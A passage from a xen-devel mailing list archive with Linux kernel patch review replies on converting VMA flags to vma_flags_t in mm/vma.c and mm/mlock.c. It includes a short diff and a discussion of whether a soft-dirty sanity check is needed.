Cc: Lance Yang <lance.yang@linux.dev>, akpm@linux-foundation.org, 
	tsbogend@alpha.franken.de, maddy@linux.ibm.com, mpe@ellerman.id.au, 
	maarten.lankhorst@linux.intel.com, mripard@kernel.org, tzimmermann@suse.de, airlied@gmail.com, 
	simona@ffwll.ch, l.stach@pengutronix.de, inki.dae@samsung.com, 
	sw0312.kim@samsung.com, kyungmin.park@samsung.com, krzk@kernel.org, 
	peter.griffin@linaro.org, jani.nikula@linux.intel.com, joonas.lahtinen@linux.intel.com, 
	rodrigo.vivi@intel.com, tursulin@ursulin.net, robin.clark@oss.qualcomm.com, 
	lumag@kernel.org, lyude@redhat.com, dakr@kernel.org, 
	tomi.valkeinen@ideasonboard.com, hjc@rock-chips.com, heiko@sntech.de, andy.yan@rock-chips.com, 
	thierry.reding@kernel.org, mperttunen@nvidia.com, jonathanh@nvidia.com, kraxel@redhat.com, 
	dmitry.osipenko@collabora.com, zack.rusin@broadcom.com, matthew.brost@intel.com, 
	thomas.hellstrom@linux.intel.com, oleksandr_andrushchenko@epam.com, deller@gmx.de, bcrl@kvack.org, 
	viro@zeniv.linux.org.uk, brauner@kernel.org, muchun.song@linux.dev, osalvador@suse.de, 
	david@kernel.org, baolin.wang@linux.alibaba.com, liam@infradead.org, 
	npache@redhat.com, ryan.roberts@arm.com, dev.jain@arm.com, baohua@kernel.org, 
	hughd@google.com, vbabka@kernel.org, rppt@kernel.org, surenb@google.com, 
	mhocko@suse.com, jannh@google.com, pfalcato@suse.de, kees@kernel.org, 
	perex@perex.cz, tiwai@suse.com, linux-mips@vger.kernel.org, 
	linux-kernel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
	etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
	linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, linux-arm-msm@vger.kernel.org, 
	freedreno@lists.freedesktop.org, nouveau@lists.freedesktop.org, 
	linux-rockchip@lists.infradead.org, linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
	intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org, 
	linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, 
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 10/13] mm/vma: convert miscellaneous uses of VMA flags in
 core mm
Message-ID: <alJqjo_MZCFWj3Wt@lucifer>
References: <1e7d834c887b6a65627d730addcff13d458c6268.1782760670.git.ljs@kernel.org>
 <20260702131233.59026-1-lance.yang@linux.dev>
 <akaGxiTaJreEQn8T@lucifer>
 <DJTNXVOWGWJ4.3MDNLPMY0Y3RF@nvidia.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <DJTNXVOWGWJ4.3MDNLPMY0Y3RF@nvidia.com>
X-purgate-ID: tlsNG-4011c0/1783787028-BFF63248-63E97EEA/0/0
X-purgate-type: clean
X-purgate-size: 3604

On Wed, Jul 08, 2026 at 09:52:19PM -0400, Zi Yan wrote:
> On Thu Jul 2, 2026 at 11:46 AM EDT, Lorenzo Stoakes wrote:
> > On Thu, Jul 02, 2026 at 09:12:33PM +0800, Lance Yang wrote:
> >>
> >> On Mon, Jun 29, 2026 at 08:25:33PM +0100, Lorenzo Stoakes wrote:
> >> >Update various uses of legacy flags in vma.c and mmap.c to the new
> >> >vma_flags_t type, updating comments alongside them to be consistent.
> >> >
> >> >Also update __install_special_mapping() to rearrange things slightly to
> >> >accommodate the changes.
> >> >
> >> >Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> >> >---
> >> [...]
> >> >diff --git a/mm/vma.c b/mm/vma.c
> >> >index b81c05e67a61..ab2ef0f04420 100644
> >> >--- a/mm/vma.c
> >> >+++ b/mm/vma.c
> >> >@@ -3417,23 +3417,27 @@ struct vm_area_struct *__install_special_mapping(
> >> > 	vm_flags_t vm_flags, void *priv,
> >> > 	const struct vm_operations_struct *ops)
> >> > {
> >> >-	int ret;
> >> >+	vma_flags_t vma_flags = legacy_to_vma_flags(vm_flags);
> >> > 	struct vm_area_struct *vma;
> >> >+	int ret;
> >> >
> >> > 	vma = vm_area_alloc(mm);
> >> >-	if (unlikely(vma == NULL))
> >> >+	if (unlikely(!vma))
> >> > 		return ERR_PTR(-ENOMEM);
> >> >
> >> >-	vma_set_range(vma, addr, addr + len, 0);
> >> >-	vm_flags |= vma_flags_to_legacy(mm->def_vma_flags) | VM_DONTEXPAND;
> >> >+	vma_flags_set_mask(&vma_flags, mm->def_vma_flags);
> >> >+	vma_flags_set(&vma_flags, VMA_DONTEXPAND_BIT);
> >> > 	if (pgtable_supports_soft_dirty())
> >> >-		vm_flags |= VM_SOFTDIRTY;
> >> >-	vm_flags_init(vma, vm_flags & ~VM_LOCKED_MASK);
> >> >+		vma_flags_set(&vma_flags, VMA_SOFTDIRTY_BIT);
> >> >+	vma_flags_clear_mask(&vma_flags, VMA_LOCKED_MASK);
> >> >+	vma->flags = vma_flags;
> >>
> >> Maybe worth a vma_flags_init() helper here to mirror vm_flags_init()?
> >> With this open-coded, we lose the soft-dirty WARN_ON_ONCE sanity check.
> >>
> >> Might be nicer to keep that check in one place ;)
> >
> > I really hate all the VMA flag accessors, they conflate things horribly - we
> > should be explicitly taking VMA write locks when we need to (and often killable
> > ones actually) not assuming that a VMA flags accessor does (they should at most
> > assert).
> >
> > This case is even more terribly egregious - you are setting flags at an
> > arbitrary time, why are we asserting something about softdirty?
> >
> > You may update them as part of initialisation, maybe not. It's far from a
> > guarantee and feels like a lazy place to put it.
> >
> > BUT obviously it's an oversight not to open code that here, so I'll update the
> > patch to do that!
>
> What do you want to open code here? softdirty WARN_ON_ONCE()?

As you can tell I said this reflexively without checking the code :)

>
> vma_flags gets VMA_SOFTDIRTY_BIT just above vma->flags, why do we need a
> check after that?

And yeah it's completely unnecessary, indeed.

>
> BTW, if you think the check is needed, patch 9 will need to be updated,
> since the same pattern appears in create_init_stack_vma().

I'll check to see if it's valid there.

For me it just feels like the most silly place to put that check, a VMA flags
update should update VMA flags not start randomly asserting silly things :)

>
> >
> > I want VMA flags to be a clean stateless thing, other than the flags
> > themselves. Implicit, unrelated, asserts or lock acquisitions in general should
> > be done separately IMO.
> >
>
> Anyway,
>
> Reviewed-by: Zi Yan <ziy@nvidia.com>

Thanks!

>
> --
> Best Regards,
> Yan, Zi
>

Cheers, Lorenzo


From xen-devel-bounces@lists.xenproject.org Sat Jul 11 16:45:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 11 Jul 2026 16:45:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360453.1613312 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiapR-00032c-G5; Sat, 11 Jul 2026 16:45:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360453.1613312; Sat, 11 Jul 2026 16:45:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiapR-00032V-DN; Sat, 11 Jul 2026 16:45:25 +0000
Received: by outflank-mailman (input) for mailman id 1360453;
 Sat, 11 Jul 2026 16:45:24 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wiapQ-00032P-Hl
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 16:45:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiapP-002MZ4-Gg
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 18:45:23 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a527284-e002-0a2a0a5209dd-0a2a450be0fa-32
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 18:45:23 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ljs@kernel.org>)
 id 6a527321-b7da-0a2a450b0019-ac6904fe916a-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 18:45:22 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id C698560052;
 Sat, 11 Jul 2026 16:45:20 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 368D01F000E9;
 Sat, 11 Jul 2026 16:45:03 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783788320;
	bh=wyycO0T/E4ygtisRzkqVLShoTPRgxuh1j7TtfC7wXl0=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=UQeTQQM7/zogPNVpPumivekv/Dm65tJwKSGkKyUaN15OK2ePQoOxgmoczQXNeufyu
	 mPB2SeO/+jaR+zlJiyLVdyWAwHg7D0CKx8xMhyA5MDEdHDSR6TPUNUJn+Nzb/es+VO
	 1AGLLXVLTi7PuZQkYtNin4NBM5SzIQlt5sWd9Tt0MOCtyaJ26niLtZLm/iWL4WgjoE
	 nytqWs/CMB6G26FmrITyykLrDBQPn0ehby972yRXsbQJ2wOYF8M/bvBoXBfucUYQHe
	 8/x2mtOwd5qD3Tv70Taj9RQTidlVV5lxGicVGK4dGGf0RiLlLhHP5bQmNpx1vNrQvn
	 rYrD/ste49T1Q==
Date: Sat, 11 Jul 2026 17:44:53 +0100
From: Lorenzo Stoakes <ljs@kernel.org>
To: Zi Yan <ziy@nvidia.com>
Cc: Lance Yang <lance.yang@linux.dev>, akpm@linux-foundation.org, 
	tsbogend@alpha.franken.de, maddy@linux.ibm.com, mpe@ellerman.id.au, 
	maarten.lankhorst@linux.intel.com, mripard@kernel.org, tzimmermann@suse.de, airlied@gmail.com, 
	simona@ffwll.ch, l.stach@pengutronix.de, inki.dae@samsung.com, 
	sw0312.kim@samsung.com, kyungmin.park@samsung.com, krzk@kernel.org, 
	peter.griffin@linaro.org, jani.nikula@linux.intel.com, joonas.lahtinen@linux.intel.com, 
	rodrigo.vivi@intel.com, tursulin@ursulin.net, robin.clark@oss.qualcomm.com, 
	lumag@kernel.org, lyude@redhat.com, dakr@kernel.org, 
	tomi.valkeinen@ideasonboard.com, hjc@rock-chips.com, heiko@sntech.de, andy.yan@rock-chips.com, 
	thierry.reding@kernel.org, mperttunen@nvidia.com, jonathanh@nvidia.com, kraxel@redhat.com, 
	dmitry.osipenko@collabora.com, zack.rusin@broadcom.com, matthew.brost@intel.com, 
	thomas.hellstrom@linux.intel.com, oleksandr_andrushchenko@epam.com, deller@gmx.de, bcrl@kvack.org, 
	viro@zeniv.linux.org.uk, brauner@kernel.org, muchun.song@linux.dev, osalvador@suse.de, 
	david@kernel.org, baolin.wang@linux.alibaba.com, liam@infradead.org, 
	npache@redhat.com, ryan.roberts@arm.com, dev.jain@arm.com, baohua@kernel.org, 
	hughd@google.com, vbabka@kernel.org, rppt@kernel.org, surenb@google.com, 
	mhocko@suse.com, jannh@google.com, pfalcato@suse.de, kees@kernel.org, 
	perex@perex.cz, tiwai@suse.com, linux-mips@vger.kernel.org, 
	linux-kernel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
	etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
	linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, linux-arm-msm@vger.kernel.org, 
	freedreno@lists.freedesktop.org, nouveau@lists.freedesktop.org, 
	linux-rockchip@lists.infradead.org, linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
	intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org, 
	linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, 
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 10/13] mm/vma: convert miscellaneous uses of VMA flags in
 core mm
Message-ID: <alJydQjYgboxmizG@lucifer>
References: <1e7d834c887b6a65627d730addcff13d458c6268.1782760670.git.ljs@kernel.org>
 <20260702131233.59026-1-lance.yang@linux.dev>
 <akaGxiTaJreEQn8T@lucifer>
 <DJTNXVOWGWJ4.3MDNLPMY0Y3RF@nvidia.com>
 <alJqjo_MZCFWj3Wt@lucifer>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <alJqjo_MZCFWj3Wt@lucifer>
X-purgate-ID: tlsNG-42698a/1783788323-A29C29ED-7889E819/0/0
X-purgate-type: clean
X-purgate-size: 3397

On Sat, Jul 11, 2026 at 05:23:39PM +0100, Lorenzo Stoakes wrote:
> On Wed, Jul 08, 2026 at 09:52:19PM -0400, Zi Yan wrote:
> > On Thu Jul 2, 2026 at 11:46 AM EDT, Lorenzo Stoakes wrote:
> > > On Thu, Jul 02, 2026 at 09:12:33PM +0800, Lance Yang wrote:
> > >>
> > >> On Mon, Jun 29, 2026 at 08:25:33PM +0100, Lorenzo Stoakes wrote:
> > >> >Update various uses of legacy flags in vma.c and mmap.c to the new
> > >> >vma_flags_t type, updating comments alongside them to be consistent.
> > >> >
> > >> >Also update __install_special_mapping() to rearrange things slightly to
> > >> >accommodate the changes.
> > >> >
> > >> >Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> > >> >---
> > >> [...]
> > >> >diff --git a/mm/vma.c b/mm/vma.c
> > >> >index b81c05e67a61..ab2ef0f04420 100644
> > >> >--- a/mm/vma.c
> > >> >+++ b/mm/vma.c
> > >> >@@ -3417,23 +3417,27 @@ struct vm_area_struct *__install_special_mapping(
> > >> > 	vm_flags_t vm_flags, void *priv,
> > >> > 	const struct vm_operations_struct *ops)
> > >> > {
> > >> >-	int ret;
> > >> >+	vma_flags_t vma_flags = legacy_to_vma_flags(vm_flags);
> > >> > 	struct vm_area_struct *vma;
> > >> >+	int ret;
> > >> >
> > >> > 	vma = vm_area_alloc(mm);
> > >> >-	if (unlikely(vma == NULL))
> > >> >+	if (unlikely(!vma))
> > >> > 		return ERR_PTR(-ENOMEM);
> > >> >
> > >> >-	vma_set_range(vma, addr, addr + len, 0);
> > >> >-	vm_flags |= vma_flags_to_legacy(mm->def_vma_flags) | VM_DONTEXPAND;
> > >> >+	vma_flags_set_mask(&vma_flags, mm->def_vma_flags);
> > >> >+	vma_flags_set(&vma_flags, VMA_DONTEXPAND_BIT);
> > >> > 	if (pgtable_supports_soft_dirty())
> > >> >-		vm_flags |= VM_SOFTDIRTY;
> > >> >-	vm_flags_init(vma, vm_flags & ~VM_LOCKED_MASK);
> > >> >+		vma_flags_set(&vma_flags, VMA_SOFTDIRTY_BIT);
> > >> >+	vma_flags_clear_mask(&vma_flags, VMA_LOCKED_MASK);
> > >> >+	vma->flags = vma_flags;
> > >>
> > >> Maybe worth a vma_flags_init() helper here to mirror vm_flags_init()?
> > >> With this open-coded, we lose the soft-dirty WARN_ON_ONCE sanity check.
> > >>
> > >> Might be nicer to keep that check in one place ;)
> > >
> > > I really hate all the VMA flag accessors, they conflate things horribly - we
> > > should be explicitly taking VMA write locks when we need to (and often killable
> > > ones actually) not assuming that a VMA flags accessor does (they should at most
> > > assert).
> > >
> > > This case is even more terribly egregious - you are setting flags at an
> > > arbitrary time, why are we asserting something about softdirty?
> > >
> > > You may update them as part of initialisation, maybe not. It's far from a
> > > guarantee and feels like a lazy place to put it.
> > >
> > > BUT obviously it's an oversight not to open code that here, so I'll update the
> > > patch to do that!
> >
> > What do you want to open code here? softdirty WARN_ON_ONCE()?
>
> As you can tell I said this reflexively without checking the code :)
>
> >
> > vma_flags gets VMA_SOFTDIRTY_BIT just above vma->flags, why do we need a
> > check after that?
>
> And yeah it's completely unnecessary, indeed.
>
> >
> > BTW, if you think the check is needed, patch 9 will need to be updated,
> > since the same pattern appears in create_init_stack_vma().
>
> I'll check to see if it's valid there.

Exactly the same case as here, unnecessary :)

Cheers, LOrenzo


From xen-devel-bounces@lists.xenproject.org Sat Jul 11 16:52:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 11 Jul 2026 16:52:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360464.1613322 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiawh-0004gN-6V; Sat, 11 Jul 2026 16:52:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360464.1613322; Sat, 11 Jul 2026 16:52:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiawh-0004gG-2z; Sat, 11 Jul 2026 16:52:55 +0000
Received: by outflank-mailman (input) for mailman id 1360464;
 Sat, 11 Jul 2026 16:52:54 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wiawf-0004gA-V0
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 16:52:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiawf-00AC8x-8N
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 18:52:53 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a52739e-5cb7-0a2a0a5109dd-0a2a450ca8f4-24
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 18:52:53 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ljs@kernel.org>)
 id 6a5274e3-e897-0a2a450c0019-ac6904fe9024-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 18:52:52 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id D2F3560052;
 Sat, 11 Jul 2026 16:52:50 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id A36CE1F000E9;
 Sat, 11 Jul 2026 16:52:33 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783788770;
	bh=5+Xf1bMSkXIMJTYDDjXYIpGx0jZ6tuDdRsUChLmc1jA=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=GD5EgXpQxjlS4BgytXhuu0DKNfOXI95UIBmT8u8vTWLN8KV7KhFG3Zmjlk9IZStJ0
	 KR/rJOljXFdanDu2Ju/DptezzsTHKy80EcuHZM39Fei1b18GfZiY34ebY3hxctopz9
	 gvnFSjPShteSKooY0iw+x0xgR3Cf925KQiGVWg1A4rsZHwFxfm3bgQE5xX0JwdPBlB
	 +Tg/A3vkLuFYGTa7kkL8I1wMAy+xlY3+uuAHgvr+ArjH3xFFNogvxDp8/tF7Nnmmoy
	 dKpnRq6aW4iMGj9i3sLe5ohAdOH0LwKPvhoh09eZddiNuSwIe2yzxsxY57f7rVk8Lk
	 0S/jqug0BXp3A==
Date: Sat, 11 Jul 2026 17:52:24 +0100
From: Lorenzo Stoakes <ljs@kernel.org>
To: Zi Yan <ziy@nvidia.com>
Cc: Andrew Morton <akpm@linux-foundation.org>, 
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>, Madhavan Srinivasan <maddy@linux.ibm.com>, 
	Michael Ellerman <mpe@ellerman.id.au>, Maarten Lankhorst <maarten.lankhorst@linux.intel.com>, 
	Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>, 
	David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
	Lucas Stach <l.stach@pengutronix.de>, Inki Dae <inki.dae@samsung.com>, 
	Seung-Woo Kim <sw0312.kim@samsung.com>, Kyungmin Park <kyungmin.park@samsung.com>, 
	Krzysztof Kozlowski <krzk@kernel.org>, Peter Griffin <peter.griffin@linaro.org>, 
	Jani Nikula <jani.nikula@linux.intel.com>, Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, 
	Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin <tursulin@ursulin.net>, 
	Rob Clark <robin.clark@oss.qualcomm.com>, Dmitry Baryshkov <lumag@kernel.org>, 
	Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>, 
	Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>, Sandy Huang <hjc@rock-chips.com>, 
	Heiko =?utf-8?Q?St=C3=BCbner?= <heiko@sntech.de>, Andy Yan <andy.yan@rock-chips.com>, 
	Thierry Reding <thierry.reding@kernel.org>, Mikko Perttunen <mperttunen@nvidia.com>, 
	Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>, 
	Dmitry Osipenko <dmitry.osipenko@collabora.com>, Zack Rusin <zack.rusin@broadcom.com>, 
	Matthew Brost <matthew.brost@intel.com>, Thomas Hellstrom <thomas.hellstrom@linux.intel.com>, 
	Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>, Helge Deller <deller@gmx.de>, Benjamin LaHaise <bcrl@kvack.org>, 
	Alexander Viro <viro@zeniv.linux.org.uk>, Christian Brauner <brauner@kernel.org>, 
	Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>, 
	David Hildenbrand <david@kernel.org>, Baolin Wang <baolin.wang@linux.alibaba.com>, 
	"Liam R . Howlett" <liam@infradead.org>, Nico Pache <npache@redhat.com>, 
	Ryan Roberts <ryan.roberts@arm.com>, Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>, 
	Lance Yang <lance.yang@linux.dev>, Hugh Dickins <hughd@google.com>, 
	Vlastimil Babka <vbabka@kernel.org>, Mike Rapoport <rppt@kernel.org>, 
	Suren Baghdasaryan <surenb@google.com>, Michal Hocko <mhocko@suse.com>, Jann Horn <jannh@google.com>, 
	Pedro Falcato <pfalcato@suse.de>, Kees Cook <kees@kernel.org>, Jaroslav Kysela <perex@perex.cz>, 
	Takashi Iwai <tiwai@suse.com>, linux-mips@vger.kernel.org, linux-kernel@vger.kernel.org, 
	linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, etnaviv@lists.freedesktop.org, 
	linux-arm-kernel@lists.infradead.org, linux-samsung-soc@vger.kernel.org, 
	intel-gfx@lists.freedesktop.org, linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org, 
	nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org, linux-tegra@vger.kernel.org, 
	virtualization@lists.linux.dev, intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, 
	linux-fbdev@vger.kernel.org, linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, 
	linux-mm@kvack.org, linux-sound@vger.kernel.org
Subject: Re: [PATCH 11/13] mm/mlock: convert mlock code to use vma_flags_t
Message-ID: <alJ0K9JlFBP7KC2u@lucifer>
References: <cover.1782760670.git.ljs@kernel.org>
 <2db16db81538355ca65f778c246d2381c673cad4.1782760670.git.ljs@kernel.org>
 <DJTO4SXFAKEV.1GVVCX3LZ6R0M@nvidia.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <DJTO4SXFAKEV.1GVVCX3LZ6R0M@nvidia.com>
X-purgate-ID: tlsNG-d25034/1783788773-46CEF6B2-C96E8C39/0/0
X-purgate-type: clean
X-purgate-size: 1292

On Wed, Jul 08, 2026 at 10:01:22PM -0400, Zi Yan wrote:
> On Mon Jun 29, 2026 at 3:25 PM EDT, Lorenzo Stoakes wrote:
> > Replace use of the legacy vm_flags_t flags with vma_flags_t values
> > throughout the mlock logic.
> >
> > Additionally update comments to reflect the changes to be consistent.
> >
> > No functional change intended.
> >
> > Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> > ---
> >  mm/mlock.c | 86 +++++++++++++++++++++++++++++-------------------------
> >  1 file changed, 46 insertions(+), 40 deletions(-)
> >
>
> LGTM. What confused me when I was reading the code is VMA_LOCKED_MASK
> and VMA_LOCKED_BIT, since both share the same prefix VMA_LOCKED. Before
> looking at the definition of VMA_LOCKED_MASK, I was wondering when to
> use _BIT or _MASK. But it is just a naming thing.

Yeah, indeed, not great naming there. Was a pre-existing though, and previously
was VM_LOCKED_MASK (also not great :)

The whole VMA_LOCKED_BIT and VMA_LOCK_ON_FAULT_BIT thing is a bit weird anyway,
since you set both and then just use the latter to know not to fault in in
GUP... anyway, can revisit that one later...! :)

>
> Anyway,
>
> Reviewed-by: Zi Yan <ziy@nvidia.com>

Thanks!

>
>
> --
> Best Regards,
> Yan, Zi
>

Cheers, Lorenzo


From xen-devel-bounces@lists.xenproject.org Sat Jul 11 17:04:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 11 Jul 2026 17:04:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360475.1613330 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wib8A-0006TJ-5z; Sat, 11 Jul 2026 17:04:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360475.1613330; Sat, 11 Jul 2026 17:04:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wib8A-0006TC-2q; Sat, 11 Jul 2026 17:04:46 +0000
Received: by outflank-mailman (input) for mailman id 1360475;
 Sat, 11 Jul 2026 17:04:44 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wib88-0006T4-2B
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 17:04:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wib87-009EPC-FV
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 19:04:43 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a52777e-bab6-0a2a0a5309dd-0a2a4503df02-20
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 19:04:43 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ljs@kernel.org>)
 id 6a5277aa-f2d2-0a2a45030019-ac6904feaf6a-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 19:04:43 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id 2139260052;
 Sat, 11 Jul 2026 17:04:41 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 44FBE1F000E9;
 Sat, 11 Jul 2026 17:04:24 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
